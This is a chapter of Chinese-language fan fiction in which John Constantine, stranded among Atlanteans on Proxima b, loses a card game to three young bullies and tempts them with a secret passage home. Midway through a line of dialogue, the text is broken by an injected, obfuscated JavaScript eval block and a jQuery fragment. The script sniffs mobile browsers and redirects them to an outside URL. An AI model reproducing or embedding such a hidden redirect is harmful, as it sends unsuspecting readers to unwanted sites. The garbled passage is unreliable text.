1
半人马阿尔法星系，比邻星b，一家简陋的水族酒馆。
灯光暗沉，亚特兰蒂斯人将半个身子泡在从地球运来的珍贵海水中，将头冒出来，呼吸比邻星b的新奇空气。
亚特兰蒂斯在飞船上发展出了宜居地表改造技术，酒馆中心弥散出雾气的装置就是这种技术的便携式产品。
酒馆老板还将装置上加入了音乐播放和迪斯科灯球的功能。
轻松的爵士乐将灯光拉上一起起舞，他们所到之处留下一点夜幕下的明星。
酒液呈球状悬浮在空中，一旦有人需要，便化作一道流光盘旋在客人露在空气中的部分，缠绵着酒客的嘴唇和躁动的心脏。
2
酒馆的门打开了。
泛着晚霞色泽的天空中，三个巨大的星体高悬空中。
其中两个十分明亮，光晕呈白色；一个稍微小些，微弱地发出红光。
3
“利索点，小伙子们，别让门开太久！会让酒馆的过滤器难做的！”
酒馆中央的大型装置应和地喷出两簇烟雾，唤着“嘟——嘟——”的汽笛声。
在众酒客的催促下，三个亚特兰蒂斯的年轻人抱怨着跳进酒馆的海水里。
为首的年轻人回击说，闭嘴吧，胆小鬼们，一点儿空气就能把你们吓成这样，不如趁早屏住呼吸把自己憋死！
留着长发的年轻人说，说得好，梅斯，干你们自己去吧！懦夫们！
精瘦的年轻人一言不发，比出亚特兰蒂斯友好手势，对酒馆里的众人展示友善态度。
酒馆里的醉汉不满地说，他们这么勇敢，怎么不见去抗击天启星的大军啊！
其它醉汉吵吵嚷嚷地附和着他。
为首的年轻人，梅斯，高傲地说，和他们这群胆小鬼不一样，他干掉过一个类魔呢！
长发的年轻人说，给他们看看，梅斯！吓死他们！
梅斯大叫道，别教我要做什么！阿奎德！闭嘴！
而后他将一个类魔的头颅扔在吧台上，引起一阵惊呼。
精瘦的年轻人提起类魔头颅，快速逼近酒馆里的醉汉们。用头颅和他们行贴面礼。酒馆里涌动着叫骂的浪潮。
梅斯和阿奎德就在一边哈哈大笑。
4
经他们这么一闹，酒客散了一半。
梅斯、阿奎德和洛埃特这人厌狗嫌的青少年三人组，正需要找点儿乐子。
他们眼若秃鹫，睃巡着能撕咬出乐趣的受害者。
5
阿奎德锁定了什么，充满恶意地笑起来。
他看见一个佝偻着身子的男人，穿着一件破旧的黄色风衣。胡子拉碴，一看就很久没打理过，和那头金发一起长成缺乏营养的枯黄杂草。
那是比邻星b上唯一的人类——约翰·康斯坦丁。
被亚特兰蒂斯掳掠来的地球物种藏品。
可以预见的是，这件藏品在不久以后就会大幅升值。
毕竟，人类马上会成为濒危物种了嘛。
6
约翰·康斯坦丁，aka名贵展品。
作为非亚特兰蒂斯人，并没有在这间酒吧里找到太多“对人类友好设施”。
于是他半个身子泡在海水里，湿漉漉地拆开自己的丝卡的纸包装，将其中的烟草分成更多的小份，再用撕得歪七扭八的纸卷起来。
他在海水底部摸出了自己受潮的打火机，半天没点着一小卷烟。
7
阿奎德就是在这个时候凑上来的。
他十分友善地用热点镜点燃了那卷可怜巴巴的丝卡。
现在，那双比这间酒馆里任何的水文都淡薄的浅蓝色的眼睛，抬起来瞥了他一眼。
阿奎德认为他吸引住珍稀动物的注意力了。
8
康斯坦丁将尼古丁送入肺叶，呼吸着这颗破星球上难得的新鲜空气。
洛埃特也走过来，将头颅扔在康斯坦丁面前的桌上，想得到些悦耳的尖叫。
康斯坦丁说，虽然对糟糕的服务态度早有预料，但他不知道这家酒馆还提供餐点。
洛埃特将手指在被子里抹一圈，放进嘴里咂咂嘴。
“你自从进入酒馆，也就点过一杯水吧。还喝光了。看来我们不是酒馆老板最讨厌的顾客了。”
康斯坦丁说，既然看到杯子空了，怎么洛埃特还不给他满上？
阿奎德一只手按住了要暴起揍人的洛埃特。
他笑着说，看来康斯坦丁这个人类在比邻星b上过的很窘迫啊。
康斯坦丁说，过去他一般都在用糟糕的厨艺糟蹋鱼，对鱼在玩什么金融游戏并不在乎。
阿奎德笑的更深了，他搭上康斯坦丁的肩膀。
他说，亚特兰蒂斯人和人类都是天启星的受害者，他们应该互帮互助嘛！
康斯坦丁说，就像亚特兰蒂斯人把亚马逊人赶到星球背面一样互帮互助吗？
9
比邻星b离恒星很近，无时无刻处于潮汐锁定状态，一面朝着恒热的三星系统，一面面对冰冷的宇宙。
猜猜看谁现在住在面对冰冷的宇宙那一面？
10
阿奎德说，他们非常愿意给康斯坦丁一些金钱上的援助。
但不能白给。
他看到了旁边的桌子上摆着的扑克牌。
就用扑克牌决定援助金额怎么样？阿奎德说。
他们每输一局，就加倍给康斯坦丁的金额。
康斯坦丁每输一局，也没必要给钱，但需要陪他们玩玩。
他懂的，出去逛逛，欣赏一下比邻星b的风景之类的。
但比邻星b上不是哪儿都有空气转换装置，到时候他们只好先顾自己的同胞了呀。
康斯坦丁向后靠在潮湿的椅背上。
11
好啊。
他说。
他最近运气还不错哩。
12
梅斯走过来，和洛埃特、阿奎德和康斯坦丁一起玩牌。
一开始康斯坦丁频繁胜利，他说，看起来他的运气着实还不错。
然后就是四次决策失误、三局运气不佳、两场头昏脑胀，一人一败涂地。
康斯坦丁玩了半天牌，一分钱都没得到，却把自己的丝卡都输出去了。
13
他微微颤颤地点上自己最后一支烟。
洛埃特已经迫不及待地站起来，要往外走了。
康斯坦丁说，好吧，好吧，命运女神今天出门了，没来得及照看他。
不过若是要看风景，找乐子，他知道一个更有趣的地方。
洛埃特不耐烦地将康斯坦丁从椅子上提起来，按在水里。
在康斯坦丁好不容易存在肺里的尼古丁都换成海水之前，梅斯叫住了洛埃特。
14
“什么是更有趣的地方？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712841|205705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
梅斯问。
“哦，没什么，就是一个，咳咳，可以通向太阳系的空爆，咳咳，通道罢了。”
康斯坦丁说。
15
梅斯来了兴趣，让他仔细说说。
康斯坦丁手脚并用地扒着洛埃特从水里站起来，还揪掉了洛埃特好几根头发。
他重新把自己塞进那把湿漉漉的椅子，嘴里竟还叼着烟。
一只手指着烟，康斯坦丁示意洛埃特给他点上。
洛埃特正要发作，被梅斯一拍桌子按住了。
于是这个精瘦的年轻人恶狠狠地用热点镜点着了香烟，还差点烧着了康斯坦丁的手指。
16
放轻松，年轻人。
康斯坦丁说。
别那么易燃易爆炸的。
17
康斯坦丁介绍起了，位于半人马阿尔法星系，在双星系统间一处隐蔽的空爆通道，能直接抵达太阳系的小行星带。
小行星带难以布置监控和岗哨，对抱有思乡情怀的人是最合适不过的去处了。
18
梅斯问，康斯坦丁是怎么知道这个空爆通道的？
康斯坦丁说，他们法师总有一些小手段。
怎么，梅斯怕了吗？
19
阿奎德抱起双臂说，别听这个人类在这里说有的没的。
他们为什么不单纯带着康斯坦丁出门找乐子，回归本真，享受一些简单的快乐？
梅斯说，康斯坦丁这是在用激将法。
康斯坦丁说，他看着梅斯提着个类魔头颅进来，还以为和其它亚特兰蒂斯懦夫不一样呢。
还是说，梅斯其实怕的不是太阳系的类魔。
“你怕的其实是我吗，亲爱的？”
20
在梅斯可怖的瞪视中，康斯坦丁朝他僵硬的脸上送了口飘渺的烟雾。
终于，梅斯从海水里站起来，大量接触空气的皮肤拧出瘆人的皲裂。
他走到瘫在椅子上的康斯坦丁面前，俯视着他。
梅斯说，他听过约翰·康斯坦丁的大名。
康斯坦丁是个无耻小人、诈骗犯、信用分刷不出充电宝的“不可接触者”。
但这不意味着他会怕康斯坦丁！
他说，康斯坦丁只是个人类，他只要动动念头，就能蒸干康斯坦丁体内所有的水分，或是直接掐死他。
所以，别耍上不了台面的小聪明。
要是他没有发现那个该死的空间裂缝，或是没有从这件事里找到乐子，康斯坦丁会希望自己在此时此刻死去的。
21
“我还能说什么呢？你是老大。”
康斯坦丁举起双手，当了三秒钟的法国人。
嘛，不过现在也没有法国了，所以他只是举起了双手。
康斯坦丁看到自己刚刚在乱中抽到的纸牌。
还是那张熟悉的狐狸牌。
22
梅斯说定的事，阿奎德和洛埃特无法左右。
他从自己的远方表姑——也就是亚特兰蒂斯的王后湄拉那儿偷了一艘宇宙飞船。
这艘飞船不仅有光速引擎，还有小型舰载炮台和迁跃系统。
梅斯作为船长，阿奎德兴冲冲地当上观测员，洛埃特自动坐进战斗员的位置。
康斯坦丁是俘虏。
在一场小型的任命仪式后，飞船踏上了旅程。